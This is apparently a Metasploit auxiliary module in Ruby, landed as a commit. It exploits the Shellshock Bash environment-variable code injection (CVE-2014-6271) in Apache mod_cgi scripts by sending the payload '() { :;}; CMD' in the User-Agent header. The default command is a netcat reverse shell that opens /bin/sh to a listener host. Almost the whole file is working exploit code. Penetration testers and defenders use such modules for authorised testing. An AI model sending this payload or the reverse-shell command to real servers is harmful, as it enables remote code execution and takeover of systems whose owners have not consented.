Land #3880, bash scanner module
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##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit4 < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::Scanner
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Apache mod_cgi Bash Environment Variable Code Injection',
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'Description' => %q{
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This module exploits a code injection in specially crafted environment
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variables in Bash, specifically targeting Apache mod_cgi scripts through
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the HTTP_USER_AGENT variable.
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},
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'Author' => [
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'Stephane Chazelas', # Vulnerability discovery
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'wvu' # Metasploit module
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],
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'References' => [
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['CVE', '2014-6271'],
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['URL', 'https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/'],
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['URL', 'http://seclists.org/oss-sec/2014/q3/649']
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],
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'DisclosureDate' => 'Sep 24 2014',
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'License' => MSF_LICENSE
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))
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register_options([
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OptString.new('TARGETURI', [true, 'Path to CGI script']),
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OptString.new('CMD', [true, 'Command to run (absolute paths required)',
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'/bin/nc -e /bin/sh 127.0.0.1 4444 &'])
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], self.class)
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end
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def run_host(ip)
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send_request_cgi(
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'method' => 'GET',
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'uri' => normalize_uri(target_uri.path),
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'agent' => "() { :;}; #{datastore['CMD']}"
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)
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end
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end
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